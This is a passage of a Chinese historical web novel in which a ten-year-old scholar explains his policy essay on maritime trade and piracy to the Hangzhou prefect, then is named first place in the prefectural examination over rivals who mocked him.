穿过喧嚣的街市,一行人终于抵达了知府衙门。 那朱漆大门在夕阳余晖下显得格外庄重,两尊石狮子雄踞门前,仿佛无声地昭示着此地的威严。 门前的差役见到知府大人的腰牌,立刻恭敬地打开了大门,引着他们鱼贯而入。 衙门内,却是一片截然不同的景象。 青砖铺地,廊庑深远,树影婆娑,只闻鸟鸣虫嘶,不见市井喧嚣。 穿过几重院落,侍童引着他们来到了一间书房前。 书房门扉半掩,雕花窗棂上映着屋内摇曳的烛光。 刘夫子和两名差役止步于门外,神色紧张,而陆明渊,却被那侍童引了进去。 一踏入书房,陆明渊便觉一股微凉的气息扑面而来,与门外的喧闹彻底隔绝。 他的目光迅速扫过屋内。 书房极大,四壁皆是书架,密密麻麻地堆满了卷宗和书籍。 靠窗的案几上,笔墨纸砚整齐摆放,案头还叠着几份公文。 主座之上,一位身着官袍、气度威严的中年男子端坐其上,正是杭州知府周泰。 他双目炯炯,不怒自威,此刻正将目光投向陆明渊。 一旁,陈风则恭敬地站立着,脸上带着难以抑制的激动。 当陆明渊的身影完全出现在周泰的视野中时,这位素来沉稳的知府大人,眼神竟是微微一亮。 眼前这个少年,虽不过十岁稚龄,却已然仪表堂堂,身姿挺拔如松。 他没有寻常孩童的稚嫩与怯弱,也无读书人的迂腐与酸气。 眉宇间是一股化不开的沉静与从容,眸光清澈而深邃。 他一身朴素的青衫,洗得发白,却更衬得他遗世独立的风骨。 周泰心中暗自赞叹。 果真如陈风所言,这陆明渊周身透着一股正气,非但不丑陋,反倒清俊非凡,顾盼间自有一番气度。 这等面相,即便放到殿试上,也绝不会因外貌而失分。 他心中原本对“状元之相”的最后一丝疑虑,此刻也尽数消散。 陆明渊没有辜负他的期待。 他进入书房后,没有左顾右盼,更没有表现出丝毫的局促与紧张。 他只是平静地走向书房中央,然后微微弯腰,拱手行礼。 “学生陆明渊,拜见知府大人,拜见陈大人。” 他的声音清朗而平静,没有一丝颤抖,更没有刻意的讨好。 那份不卑不亢,恰到好处地展现了一个读书人的风骨。 周泰和陈风对陆明渊的态度都非常满意。 周泰轻轻咳嗽了两声,那侍童立刻心领神会,悄无声息地走了过来,向屋外示意。 刘夫子等人虽然心有不甘,却也知道此刻不是久留之地,只得按捺住心中的好奇与担忧,随着侍童退出了书房,并将门扉轻轻合上。 书房内,只剩下周泰、陈风和陆明渊三人。空气中瞬间弥漫开一种无形的紧张与期待。 陈风此时才敢开口,他上前一步,望着陆明渊,语气中带着几分敬重与急切。 “陆明渊,你那篇策论《论大乾积弊与革新之策》,是何人教导?又或者,是你一人所写?” 他的目光紧紧盯着陆明渊,生怕错过少年脸上的任何一丝表情。 这个问题至关重要,它关乎着这篇惊世之作的归属,更关乎着陆明渊未来的前程。 陆明渊闻言,并没有立刻回答,他只是静静地抬眼,先看了看陈风,又转向周泰,嘴角勾起一抹极淡的笑意。 “是我一人所写如何,有人教导又如何?” 周泰闻言,眼中锐利的光芒一闪,眉毛微微皱起。 这少年,着实有些意思。 寻常学子此刻,莫不是诚惶诚恐,恨不得立刻将文章的来龙去脉倒个干净,生怕开罪了上官。 可这陆明渊,却反其道而行之,竟敢这般回话。 周泰的嘴角,却在这一刻微微上扬。 他顿时提起了对陆明渊的兴趣,这不合常理的回答,反而让他觉得这少年深不可测,大有文章。 他将手中的试卷轻轻放下,接过了话茬,主动开口道。 “好一个‘如何’!” 周泰的声音低沉而有力,带着一丝欣赏。 “若是有人教导,你直说便是。本官以杭州知府之名,以我周泰的官声为保,必定给他求一个州郡知府!如此大才,岂能埋没于乡野?” 他的目光再次转向陆明渊,眼神中多了几分炽热。 “但若是你一个人所写,那便更好了!你便将这篇策论的其余部分,那些寥寥千字未能尽述的方略,好好说上一说,为本官,为大乾,详细说上一说!” 周泰的身子微微前倾,语气带着一股不可置疑的庄重与承诺。 “本官同样以杭州知府之名,以我周泰的性命为保,若是你说出了实论,说出了足以治国安邦的方略,本官保你一个三甲进士,甚至……甚至是那状元之位,也未必不能争上一争!” 书房内,烛光摇曳,墨香氤氲。 周泰的话语如同惊雷,在陆明渊耳边炸响。 三甲进士,状元之位! 这是多少读书人穷尽一生也无法企及的荣耀,此刻竟被这位封疆大吏如此郑重地,亲口许诺。 陈风在旁边听得心潮澎湃,他深知知府大人的这些承诺意味着什么。 那可不是随口说说,而是赌上了知府的官声乃至身家性命的重诺! 陆明渊的目光深邃如海,他望着周泰,眼中闪过一丝若有所思。 他知道,这是一个机会,一个让他能够真正登上大乾王朝政治舞台的契机。 然而,他只是轻描淡写地回道。 “大人此言当真?” 周泰的瞳孔微微一缩。 他见过太多的人,有在自己面前战战兢兢的下属,有巧言令色的幕僚,也有恃才傲物的名士。 可他从未见过这样一个少年。 “君子一言,快马一鞭。” 周泰的声音愈发沉凝。 “本官以一府之印,四品之身,岂会与你一个黄口小儿戏言?” 陆明渊微微颔首,切入了正题。 “大人,学生策论之中所言‘漕海一体’,其核心并非简单的二者并举,而在于明确其‘体’与‘用’,定其‘公’与‘私’。” “何为体?国之根本为体。漕运,事关京师粮仓,北疆安危,此乃国本,绝不可假手于人,更不能依赖于变幻莫测之海运。” “故学生以为,漕运之能,当专于‘公’。凡朝廷调拨之军粮、官俸、赈灾之粟,皆由漕运承之。” “朝廷当固漕运,浚河道,优待漕卒,使其成为一条稳固、高效、完全由朝廷掌控的‘官道’,此为固本之策。” 周泰缓缓点头,目光中透出思索。 将漕运的功能限定在“官用”,这便解决了漕运耗费民力过甚,与民争利的问题。 思路清晰,直指要害。 “那何为用?” 周泰追问道。 “民生百业为用。” 陆明渊不假思索地答道。 “海运,风高浪急,利厚亦险大,非朝廷所宜亲自涉足。当尽归于‘私’,归于天下商民。” “朝廷所要做的,不是下海与民争利,而是立规矩、设关卡、收其税,引万国之财,以充国库,以济民生。此为开源之法。” “公私分明,体用各异……” 周泰喃喃自语,眼中光芒越来越亮。 “说得好!但你策论中所言,‘愈禁则利愈厚,愈厚则人愈铤而走险’,此言虽是至理,然海寇之患,历朝历代皆为心腹大患。” “一旦开放海禁,万千商船出海,鱼龙混杂,巨寇大盗混迹其中,朝廷水师有限,如何能一一甄别?如何能保海疆安宁?” 这便是最核心的质疑。 也是朝堂之上,海禁派最坚实的理由。 陈风的心也提到了嗓子眼,他知道,这个问题若是答不好,那篇策论写得再天花乱坠,也只是纸上谈兵。 陆明渊却笑了。 那笑容很淡,却带着一种洞悉一切的自信。 “大人之忧,在于将商与寇,视为一体。以为商船多了,海寇便会多。然学生看来,二者实为死敌。” “哦?”周泰眉毛一扬,示意他继续说下去。 “大人请想,这海上之寇,所劫掠者为何?不正是那些往来贸易的商船么?” “海上最渴望海疆靖平,航路安稳的,不是朝廷,而是那些将身家性命都押在船上的海商!断人财路,如杀人父母。海寇,断的正是所有海商的财路!” “所以,学生之策,名为‘以商制商’,实为‘以商制寇’!” “朝廷只需做三件事。”陆明渊伸出三根手指,神情笃定。 第079章 此子,非池中之物啊! “其一,立‘市舶司’,发‘船引’。此乃授予海商合法身份,使其从朝廷眼中的‘私贩’,变为受官府保护的‘皇商’。” “有了这层身份,他们便与那些打家劫舍的海寇划清了界限,成了官府可以团结和利用的力量。” “其二,设‘海贸公行’,令其自组护卫。朝廷不必耗费巨资打造庞大水师,只需明文规定,凡入公行之大商,必须按其船队规模,配备一定数量的武装护卫船。” “这些护卫,平日里护卫自家商船,一旦发现海寇踪迹,公行便可自行组织联合清剿。剿匪之功,报备市舶司,可抵部分税款。” “如此一来,海商剿寇,既是保家,亦是为利,其积极性,远非懒散的官军可比!” “其三,水师之责,在于威慑,而非清剿。朝廷水师,当驻于杭州、泉州等要害大港,配备巨舰火炮,轻易不出。” “其存在的意义,是告诉所有海商与海寇,乃至南洋诸国,这片大海上,最终的规矩,由我大乾所定!” 一番话说完,书房内落针可闻。 周泰的呼吸变得有些粗重,他死死地盯着陆明渊,眼神中充满了难以置信的震撼。 合法身份的授予、利益的捆绑、责任的转移、国家暴力机关的重新定位…… 这少年所言,环环相扣,形成了一套完整而周密的体系! 它将朝廷从繁琐危险的海上事务中解脱出来,摇身一变,成了高高在上的规则制定者与最终仲裁者。 它巧妙地利用了商人的逐利之心,将他们变成了维护海上秩序最积极的力量。 这哪里是什么策论? 这分明是一套足以改变国运的惊天大略! 周泰只觉得眼前那层困扰了自己多年的迷雾,被这少年三言两语,彻底拨开,露出了一片前所未有的朗朗乾坤! 他心中的那套计划,在陆明渊的这番话语下,迅速变得完整、清晰、且坚不可摧! “好……好!好一个以商制寇!好一个水师威慑!” 周泰猛地一拍桌案,豁然起身,巨大的激动让他再也无法安坐。 他绕过书案,快步走到陆明渊面前,一双虎目灼灼地看着他,那眼神满是欣赏与……佩服! “陆明渊,老夫宦海沉浮二十载,自问也算见过些治世之才,却从未有一人,能如你这般,将这天下大势,剖析得如此通透!如此……一针见血!” 他的声音因为激动而微微颤抖。 “你这番见识,这等格局,绝非寻常乡野塾师所能教导。说吧,你的老师,究竟是何方神圣?是致仕的阁老,还是隐居的名臣?” 周泰的目光中充满了期待,他迫切地想知道,究竟是怎样的人物,才能教出如此妖孽的弟子。 陈风也竖起了耳朵,他同样好奇到了极点。 陆明渊却只是平静地摇了摇头。 “大人谬赞了。学生并无名师,所学不过是些杂书,加上自己的一些胡思乱想罢了。” “胡思乱想?” 周泰失笑,随即正色道。 “你这若是胡思乱想,那满朝公卿的奏疏,岂不都成了涂鸦之作?也罢,你既不愿说,本官也不强求。” 他沉吟片刻,眼中闪过一丝决然。 “你虽年幼,然胸中丘壑,远胜老夫。璞玉需得良匠雕琢,你这等经天纬地之才,若无名师指引,岂不可惜?” 周泰的语气变得无比郑重。 “本官有一位恩师,乃是三朝元老,如今的太子太傅,帝师闻人公。” “他老人家最喜提携后进,尤其欣赏有实干之才的年轻人。” “你若愿意,本官愿修书一封,亲自送你入京,引荐你拜入闻老门下!有他老人家为你师,你这状元之位,便是板上钉钉之事!” 太子太傅! 帝师闻人公! 这六个字如同一道炸雷,在陈风耳边轰然响起,震得他头晕目眩。 那可是大乾朝文官集团的泰山北斗,真正的清流领袖,门生故吏遍布天下! 能拜入他的门下,不啻于一步登天! 这……这是何等的天大机缘! 陈风看向陆明渊的眼神,已经充满了羡慕,甚至是嫉妒。 然而,出乎所有人意料的是,陆明渊在听到这个足以让任何读书人昏厥过去的名字后,脸上依旧没有半分波澜。 他只是对着周泰,深深地鞠了一躬。 “多谢大人厚爱。” 他抬起头,目光清澈而坚定。 “只是,学生不能答应。” “为何?” 周泰眉头紧锁,大为不解。 “因为学生已有承诺。” 陆明渊缓缓说道。 “我的启蒙恩师,陆家村的赵夫子,曾与学生有过约定。若我能中此次院试头名,他便会为我引荐一位老师。” “赵夫子于我有启蒙之恩,更有再造之德,学生……不能做一个无信之人。” 书房内,再次陷入了死一般的寂静。 陈风目瞪口呆地看着陆明渊,他觉得这少年一定是疯了。 为了一个乡下教书先生的口头约定,竟然拒绝了当朝帝师的橄榄枝? 这是何等的愚蠢!何等的迂腐! 周泰的眉头却在紧锁之后,缓缓舒展开来。 他看着陆明渊,眼神复杂,有惊愕,有惋惜,但更多的,却是一种前所未有的欣赏。 在这个人人都追名逐利的世道,一个十岁的少年,在面对一步登天的诱惑时,却能坚守本心,不忘对一个乡野村夫的承诺。 这份心性,这份信义,比他那篇惊世骇俗的策论,更加难能可贵! “陆家村……赵夫子……” 周泰口中咀嚼着这个名字,眼中忽然闪过一道恍然大悟的光芒。 “原来是他!”周泰抚掌长叹。 “怪不得,怪不得!我早该想到的!” 他看着一脸平静的陆明渊,笑道。 “你可知,你那位赵夫子,要为你引荐的老师是何人?” 陆明渊摇了摇头。 周泰的笑容里带上了一丝莫名的意味。 “你那位赵夫子,与当年的榜眼进士,如今的江苏巡抚林瀚文大人,乃是至交好友。若我所料不差,他要为你引荐的,便是这位林大人了。” 江苏巡抚,林瀚文! 又是一个如雷贯耳的名字! 虽不及帝师闻人公那般位高权重,却也是手握一省大权的封疆大吏,更是清流之中声名卓著的中坚人物! 周泰看着陆明渊,感慨万千。 “林巡抚之才,犹在我之上,为人之风骨,更是我辈楷模。你能拜入他的门下,亦是天大的福分。” “如此说来,倒是我多此一举了。” 他顿了顿,目光再次落在那份墨迹已干的策论上,嘴角勾起一抹意味深长的笑容。 “不过,陆明渊,你以为你还需要等到院试放榜,中了那头名之后么?” 周泰摇了摇头,断然道。 “有此一篇策论在,何须再等?只怕用不了几日,那位林大人,就要亲自登门,来我这杭州府,抢着收你为徒了!你且先做好准备吧。” 陆明渊心中一动,这才明白,自己那位看似平凡的赵夫子,为自己铺的路,竟是如此不凡。 那位素未谋面的林巡抚,在杭州知府口中,竟有如此高的地位。 他再次躬身行礼:“多谢大人告知。” 他抬起头,看着周泰:“若无他事,学生……可否先行告退?” 从始至终,他都没有因为这接二连三的震撼消息,而有丝毫的失态。 周泰越看越是满意,他从腰间解下一块玄铁腰牌,上面阳刻着一个古朴的“周”字,递到陆明渊面前。 “这是本官的私牌,见此牌,如见本官亲临。在杭州府地界,凭此腰牌,可出入任何官衙,调动府衙差役,无人敢拦。” 周泰将腰牌塞到陆明渊手中,沉声道。 “你这几日,莫要跑远了。你策论中许多细节,本官还需时时向你请教。随时,都会召你前来。” 陆明渊没有推辞,只是将腰牌妥善收入怀中,再次拱手。 “学生遵命。” “去吧。” 周泰挥了挥手。 陆明渊再次行了一礼,随后转身,从容不迫地走出了书房。 当房门被轻轻合上的那一刻,一直紧绷着神经的陈风,才长长地舒了一口气,只觉得后背已然被冷汗湿透。 他看着依旧立在窗前,目光深邃地望着院中夜色的知府大人,忍不住道:“大人,此子……此子……” 他一连说了两个“此子”,却不知该如何形容。 “此子,非池中之物啊。” 周泰悠悠一叹,转过身来,眼中爆发出前所未有的精光。 “陈风,传我的话,将此子的卷宗,列为绝密!从此刻起,派两名最得力的亲卫,暗中保护他的安全,绝不容许有任何闪失!” 第080章 府试放榜之日 陈风站在一旁,大气都不敢喘一口。 他能清晰地感觉到,知府大人身上那股沉寂了多年的锐气,此刻正如同出鞘的利剑,锋芒毕露。 “来人!” 周泰的声音打破了书房的死寂,带着不容置疑的决断。 一名亲随侍从应声而入,躬身待命。 “传本官令,自今日起,府衙闭门谢客,一切公文俗务,皆由同知、通判代为处置。若有紧急军情,再行通报。” 侍从心中一凛,知府大人这是要做什么? 闭门谢客,将权力下放,这在官场上可是大事。 但他不敢多问,立刻垂首应道:“遵命!” 待侍从退下,周泰大步走到那张宽大的黄花梨木书案前,眼神扫过案上堆积如山的卷宗,眉头微皱,随即大袖一挥。 哗啦一声,那些寻常的公文、案卷,被他毫不怜惜地扫落在地,散了一地。 陈风看得心惊肉跳,却不敢出声。 周泰的眼中,此刻只有一方被清空的书案,如同一片等待他挥毫泼墨的江山。 “陈风,研墨!” “是,大人!” 陈风不敢怠慢,连忙走到案边,取过上好的徽墨,在砚台中注入清水,不疾不徐地研磨起来。 墨香,很快便在书房中弥漫开来。 周泰深吸一口气,从笔架上取下一支狼毫大笔,笔锋饱蘸浓墨,却没有立刻下笔。 他双目微闭,脑海中反复回荡着陆明渊的每一句话,每一个字。 ‘漕海一体’、‘公私分明’、‘以商制寇’、‘水师威慑’…… 他要写的,不是给闻人太傅和林巡抚的信。 他要亲自将这道策论,变成一份直达天听的奏疏! 猛然间,周泰睁开双眼,眸中精光爆射,手中大笔轰然落下! 笔走龙蛇,铁画银钩! …… 夜色如墨,福来客栈的灯火却亮如白昼。 当陆明渊那瘦削而平静的身影,重新出现在客栈大堂时,整个喧闹的大堂瞬间安静了下来。 无数道目光,或好奇,或嫉妒,或审视,或谄媚,如同潮水般向他涌来。 下一刻,安静被彻底打破。 “陆案首回来了!” “明渊贤弟,知府大人召你前去,所为何事啊?” “是啊是啊,可是你的文章惊动了府尊大人?快与我等说说!” 一群学子蜂拥而上,将陆明渊团团围住。 他们脸上堆着热切的笑容,眼神里却闪烁着精明的算计。 在这院试放榜前的微妙时刻,任何与知府大人扯上关系的人,都足以成为他们攀附的对象。 他们以为,这少年或许是知府大人的某位远房亲戚,或是哪位故交之后。 今日不过是借着考试的名头,走个过场罢了。 面对着一张张热切的脸,陆明渊的表情没有丝毫变化。 他只是平静地对着众人拱了拱手,声音清朗,不大不小,却足以让每个人都听得清楚。 “诸位兄台多虑了。” 他缓缓说道:“府尊大人只是见学生策论之中,有几处言语颇为新奇,不似寻常学子所言,故而召学生前去,垂询那几句话,是听哪位名师所教。” “哦?那贤弟是如何作答的?” 立刻有人追问道。 陆明渊微微一笑,坦然道。 “学生如实作答,并无名师,不过是读了些杂书,胡乱想出来的罢了。” “府尊大人问明情况,便让学生回来了。” 此言一出,人群中那股热切的气氛,肉眼可见地冷却了下去。 原来不是什么故交之后,更不是有什么内幕。 只是因为文章里几句话写得新奇,被叫去问话而已。 这算什么? 众人脸上的笑容渐渐变得僵硬,甚至带上了一丝鄙夷。 “原来只是问话啊,我还以为陆案首要被府尊大人收为门生了呢。” 一个尖酸的声音响起。 “呵呵,想多了吧,府尊大人何等身份,岂会轻易收徒?” “就是,不过是乡野小子,走了些狗屎运,写了几句惊人之语罢了,当不得真。” 议论声从热切变成了窃窃私语,那些围拢过来的学子,纷纷散开,各自回到了自己的座位上,脸上带着失望与不屑。 他们还指望着能通过这个少年,和知府大人攀上些关系,为自己的前程铺路,没想到只是空欢喜一场。 前后的态度转变,判若云泥。 陆明渊对此视若无睹。 他不在乎这些人的看法,更懒得解释什么。 夏虫不可语冰,井蛙不可语海。 周泰的许诺再重,那也是未来的事。他的策论虽然得到了知府的认可,可谁又能保证,这数千份试卷中,不会有比他更惊才绝艳的文章? 天下英雄何其多,在尘埃落定之前,任何的骄傲与自满,都是愚蠢的。 他平静地穿过人群,回到自己的房间。 推开窗,清冷的月光如水银泻地,洒满了整个房间。 远处的钱塘江在月色下泛着粼粼波光,江风吹来,带着一丝水汽的微凉,拂去了白日的燥热,也让他的心境愈发空明。 陆明渊接下来只需要等待即可! 三日内,杭州府内暗流汹涌,无数双眼睛都在盯着知府衙门那紧闭的大门,猜测着府尊大人的葫芦里究竟卖的什么药。 而福来客栈里的陆明渊,却过得比谁都安稳。 他每日只是读书、写字,偶尔临窗远眺,看钱塘江潮起潮落,仿佛这满城风雨,都与他无关。 三日之期一到,便是府试放榜之日。 天还未亮,贡院门前那条宽阔的青石长街,便已被黑压压的人头所填满。 成千上万的学子、家人、仆役汇聚于此,将此地堵得水泄不通。 空气中弥漫着一种混杂着汗水、脂粉、劣质熏香以及浓烈期盼的复杂气味。 辰时正,三声清亮的铜锣响彻长街。 人群瞬间安静下来,所有人都屏住了呼吸,伸长了脖子,望向贡院那朱红色的高大门楼。 “肃静!” 一声威严的喝令传来,杭州府通判张承运身着一身青色官袍,面容严肃,在一队披甲执锐的府兵护卫下,缓缓登上早已搭好的高台。 他目光如电,扫过下方那一张张紧张、期待、畏惧的脸,声音沉稳有力。 “大乾开科取士,为国选才,乃朝廷盛典!榜上有名者,当再接再厉,为国效力;名落孙山者,亦不必气馁,勤学苦读,来年再战!” “今日放榜,务必遵守秩序,喧哗吵闹、冲击榜单者,杖二十,发配充军!” 森然的话语,让本就紧张的气氛更添了几分肃杀。 “放榜!” 随着张通判一声令下,贡院大门缓缓打开,数名衙役抬着两面巨大的木匾,迈着沉重的步伐走了出来,将其稳稳地架在早已备好的支架上。 那木匾之上,用浓墨写就的一个个名字,在晨光下清晰可见。 “轰!” 人群炸开了锅,如同决堤的洪水,疯狂地向前涌去。 “我中了!我中了!第四十二名,是我!哈哈哈哈!” 一个面色苍白的学子在看到自己名字的瞬间,爆发出惊天动地的狂喜,他状若疯癫,又哭又笑,手舞足蹈。 “爹!娘!孩儿不孝啊!” 另一侧,一个锦衣青年在榜上寻觅良久,终究是没能找到自己的名字,他双腿一软,跪倒在地,捶胸顿足,嚎啕大哭。 一时间,悲喜交加,哭声与笑声混杂在一起,人生百态,于这一张榜单之前,展露无遗。 “拖下去!” 早已待命的官军上前,将那些或狂喜或崩溃的学子架起来,拖到人群外围,交给他们的家人或同窗,以免他们堵在前面,影响了秩序。 人群的一角,林家府学的夫子正带着一众学子,在人群中艰难地向前挤着。 “都让让,让让!” 陈子修仗着身强力壮,在前面开路,脸上满是志在必得的傲气。 他目光如炬,在那榜单上飞快地扫视着。 “第七名!陈子修!是陈兄!” 一名林家学子眼尖,率先高呼起来。 第081章 本届府试,杭州府魁首 “恭喜陈兄!” “陈兄高中,实至名归啊!” 周围的林家学子立刻围了上来,纷纷道贺,一片阿谀奉承之声不绝于耳。 陈子修的脸上绽放出无比得意的笑容,他整了整自己的衣冠,矜持地对着众人拱了拱手,那份压抑了许久的骄傲,此刻尽情地释放出来。 他享受着众人的吹捧,目光却不经意间瞥向了人群后方,那个始终平静淡然的身影——陆明渊。 他一路从榜末看到榜首,仔仔细细,来来回回看了三遍,都没有发现“陆明渊”这三个字。 心中的最后一块石头,终于落了地。 他拨开众人,带着一脸“关切”的笑容,走到陆明渊面前,故作姿态地叹了口气,拍了拍他的肩膀。 “明渊贤弟,莫要灰心。这科举之路,本就艰难无比。一次不中,算不得什么。你还年幼,根基尚浅,回去再好生读个十年八载,总会有出头之日的。” 他这番话,声音不大不小,却足以让周围的林家学子都听得清清楚楚。 众人看向陆明渊的眼神,瞬间就变了,从原先的几分敬畏,变成了毫不掩饰的同情与轻蔑。 原来,这个被知府大人召见的县试案首,也不过如此。 终究还是落榜了。 面对这虚伪的安慰和周围异样的目光,陆明渊的表情没有一丝波澜。 他甚至连眼皮都未曾抬一下,只是淡淡地说道。 “前三甲尚未放榜,你急什么?莫不是……活不到放榜的时候了?” 声音不大,却狠狠地刺进了陈子修的心里。 陈子修脸上的笑容瞬间僵住,继而化为恼羞成怒的涨红。 “陆明渊!你休要猖狂!” 他厉声喝道,“你还真做梦自己能高中前三甲?你可知这是哪里?这是杭州府!是东南文风鼎盛之地!多少饱学之士在此折戟沉沙!” “我陈子修,自幼拜入名师门下,寒窗苦读八年有余,方能侥幸得中第七!” “你一个乡野小子,来府学不过一月,就敢妄言前三甲?简直是痴人说梦!” 他的声音尖锐而刻薄,充满了被戳破伪装后的愤怒,引得周围更多的人侧目。 陆明渊终于缓缓抬起头,那双清澈的眸子,平静地看着气急败坏的陈子修。 眼神里没有愤怒,只有一种看跳梁小丑般的淡漠与不屑。 “自己是废物,就别把别人也想得跟你一样。” 他轻声说道,每一个字都清晰无比。 “还有,你要是真活不了那么久,就去死远一点。” “等到放榜之时,别死在我面前,血溅到我身上,我还得费工夫回去换身衣裳。” “你……你……” 陈子修被这番话气得浑身发抖,脸色由红转青,由青转紫,伸手指着陆明渊,嘴唇哆嗦着,却一个字也说不出来。 他感觉胸口一阵气血翻涌,喉头一甜,差点一口血喷出来。 这已经不是嘲讽了,这是赤裸裸的羞辱! “好!好!好!” 陈子修连说三个好字,面色阴厉得几乎要滴出水来。 “我倒要看看,你陆明渊,今天怎么收场!我就在这里等着,等着前三甲放榜!” 他拂袖转身,死死地盯着那高台,眼神中的怨毒,仿佛要将那台上的通判大人都给吞噬掉。 周围的气氛,一时间变得无比压抑。 所有人的目光,都在陆明渊和陈子修之间来回扫视,等待着最终结果的揭晓。 咚!咚!咚! 他亲自拿起鼓槌,重重地敲响了身旁那面巨大的牛皮鼓。 沉闷而雄浑的鼓声,如同惊雷,在每个人的心头炸响。 喧闹的长街,再次陷入了一片死寂。 张承运放下鼓槌,目光扫视全场,深吸一口气,高声宣布: “肃静!今科府试,前三甲放榜!” 肃静!今科府试,前三甲放榜! 长街之上,再次落针可闻。 所有人的目光,都汇聚在了通判张承运的身上,汇聚在他手中那份相较于主榜而言,显得格外精致小巧的明黄色卷轴之上。 那,便是决定无数人命运,承载着无上荣光的甲榜。 张承运神情肃穆,缓缓展开卷轴,目光沉静如水。 他的声音,不疾不徐,却清晰地传入了每一个人的耳中。 “第三甲……杭州府,杜文远!” 话音落下的瞬间,人群中先是片刻的寂静,随即爆发出了一阵惊雷般的喝彩与议论! “是杜家的文远公子!” “果然是他!杜公子乃我杭州府有名的才子,一手策论写得出神入化,中个探花,实至名归!” “意料之中,意料之中啊!” 人群中,一个身着锦缎的中年男子在几名家仆的簇拥下,激动得满面红光,正是杜文远的父亲。 他身旁的一名管家,早已会意,立刻从怀中掏出数个沉甸甸的钱袋,对着周围拱手高声道。 “我家公子侥幸高中,些许碎银,与诸位同喜,讨个彩头!” 说罢,一把把散发着诱人光泽的碎银子便如天女散花般洒向人群,引得一阵哄抢与更为热烈的恭贺之声。 “恭喜杜老爷!” “杜公子前途无量啊!” 杜家的牌面,在这一刻给得足足的,引来无数羡慕嫉妒的目光。 而被众人簇拥在中央的杜文远,一位面如冠玉的青年,脸上带着恰到好处的笑容,从容地接受着四面八方的道贺,风度翩翩,尽显世家子弟的风范。 高台之上,张承运静静地看着下方的热闹,并未出声制止。 他知道,这种荣耀的时刻,需要宣泄,也需要被见证。 待到那阵喧嚣稍稍平息,他才再次开口,声音比之前又沉了几分,带着一种莫名的压力。 “第二甲,榜眼……杭州府,林博文!” 此言一出,整个长街仿佛被施了定身法。 如果说杜文远中探花是意料之中,那么林博文得榜眼,便是石破天惊! 短暂的死寂之后,人群炸开了锅,其声势比刚才大了十倍不止! “什么?林博文?知府大人的亲传弟子,竟然只是榜眼?” “怎么可能!林公子三岁成诗,七岁便能出口成章,九岁县试夺魁,乃是公认的少年天才,这魁首之位,谁人能与他争锋?” “是啊,所有人都以为今科魁首非他莫属,究竟是何方神圣,竟能将他压下一头?” 人群的另一侧,一位身着月白长衫的少年,原本淡然自若的神情,在听到自己名字的瞬间,骤然凝固。 他,正是林博文。 那张俊秀的脸上,血色以肉眼可见的速度褪去,取而代之的是一层阴沉的铁青。 他袖中的双手,不知何时已经紧紧攥成了拳头,指节因为过度用力而微微发白。 榜眼? 这两个字,对他而言,不是荣耀,而是奇耻大辱! 他自幼便是天之骄子,一路走来,鲜花着锦,从未尝过“第二”的滋味。 更何况,恩师乃是杭州知府,他代表的,不仅仅是自己! 身旁一众平日里与他交好的学子,此刻噤若寒蝉,连大气都不敢出,生怕触了他的霉头。 偏偏有人不怕。 刚刚接受完众人恭贺的杜文远,摇着一柄玉骨折扇,施施然地走了过来,脸上挂着一丝玩味的笑容。 “恭喜林兄,贺喜林兄。有府尊大人亲自教导,还能高中榜眼,当真是可喜可贺啊。” 他字字句句都是恭贺,可那语调中却满是嘲讽与幸灾乐祸。 谁都听得出来,这是在说,你有着最好的资源,拜了最强的老师,结果还是被人踩在了脚下。 周围的气氛,瞬间尴尬到了冰点。 林博文缓缓转过头,那双原本清亮的眸子,此刻深沉得如同寒潭。 他盯着杜文远看了半晌,嘴角却慢慢勾起一抹冰冷的弧度。 “多谢杜兄吉言。能与杜兄同登甲榜,亦是博文之幸。只是不知……是哪位高才,能得此殊荣,让我与杜兄,都只能屈居其后呢?” 他没有发怒,反而将话题引向了那尚未揭晓的魁首,言语间,却已是暗流汹涌。 他拂袖转身,不再看杜文远那张讨厌的脸,目光如利剑一般,射向高台之上,那个手持甲榜的通判大人。 他倒要看看,究竟是谁,敢抢走本该属于他的荣耀! 高台下,陈子修的呼吸早已变得无比粗重,他的心脏在胸膛里疯狂地擂动,仿佛要破体而出。 他的双眼布满了血丝,死死地盯着张承运,心中有一个声音在疯狂地呐喊:不要是他!千万不要是他! 而陆明渊,依旧站在那里,身姿挺拔如松。 他甚至没有去看高台,而是微微仰头,金色的光辉洒在他的脸上,映得他那双眸子,愈发显得深邃而平静。 一炷香,仿佛一个世纪那么久。 当高台上的那炷香燃尽最后一缕青烟时,通判张承运再次走到了台前。 这一次,他没有立刻开口,而是目光沉凝,缓缓扫过全场。 他的视线,似乎在寻找着什么,最终,在人群的一角,那个淡然独立的少年身影上,停留了刹那。 他深吸一口气,高声宣道! “本届府试,杭州府魁首——” “江陵县——陆!明!渊!” 第082章 敢问哪一位是江陵县陆案首? 长街之上,一片死寂。 陆明渊? 这是谁? 这个名字,对于满城翘首以盼的杭州府学子而言,是如此的陌生。 一时间,人群中那些自诩消息灵通之辈,全都面面相觑,脸上写满了茫然与荒诞。 “陆明渊……何许人也?” “江陵县?那不是咱们杭州府下辖最偏远的一个县吗?那种穷乡僻壤,也能出这等人物?” “诸位兄台,可曾听过此人之名?” 窃窃私语声如同潮水般蔓延开来,无数人询问周边之人,试图找出府试魁首。 然而,所有被问到的人,都只能茫然地摇头。 不认识。 没听过。 仿佛这个人,是凭空冒出来的一般。 就在这片巨大的困惑与沉寂之中,人群的另一角,一个毫不起眼的区域,却骤然爆发出了一阵山呼海啸般的狂喜与欢呼! “中了!魁首!是明渊兄!” “哈哈哈!是我们江陵县的!是我们这些外县学子的魁首!” 那是与陆明渊同住一处客栈的几位外县学子,他们此刻激动得满脸通红,用尽全身力气嘶吼着。 仿佛要将这几日来所受的轻视与压抑,尽数宣泄出来。 紧接着,所有来自杭州府下辖各县的学子们,都沸腾了! 他们或许也不认识陆明渊,但这并不重要。 重要的是,“江陵县”这三个字,代表着他们共同的身份——非杭州府城出身的学子! 长久以来,府城的学子们总有一种天然的优越感。 他们坐拥最好的师资,最丰富的藏书,最浓郁的文风,视外县学子为乡下人,言语间总带着几分轻慢。 而今日,府试魁首之位,却被一个名不见经传的县城学子摘得! 这无异于一记响亮至极的耳光,狠狠地抽在了所有杭州府学子的脸上! “恭喜陆案首!” “我等外县学子,扬眉吐气啊!” “什么知府高徒,什么世家公子,在陆案首面前,皆为土鸡瓦狗!” 一声声饱含着骄傲与快意的庆贺,夹杂着毫不掩饰的嘲讽,扎进了每一个府城学子的心里。 他们的脸色,由茫然转为惊愕,再由惊愕转为羞恼,最后化作一片铁青。 对立,在这一瞬间形成。 而就在这剑拔弩张的氛围中,一个凄厉而不甘的嘶吼,猛地撕裂了长街的对峙。 